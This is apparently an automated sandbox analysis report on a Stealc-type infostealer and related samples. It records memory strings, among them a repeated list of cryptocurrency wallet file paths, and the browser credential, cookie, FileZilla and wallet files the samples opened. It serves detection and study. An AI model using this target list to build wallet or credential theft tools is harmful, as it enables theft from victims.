Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001010000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001081000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\passphrase.json
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001010000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001010000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ExodusE#
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001081000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\.finger-print.fp.B
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: EthereumE#
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001010000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001081000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Coinomi\Coinomi\wallets\\.\]
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001081000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\MultiDoge\\multidoge.wallet
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001081000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\passphrase.json
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001010000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001010000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001081000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\.
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001081000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\svchost015.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	File opened: C:\Users\user\AppData\Roaming\atomic\
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\Cache\
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\db\
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\Cache\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\db\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
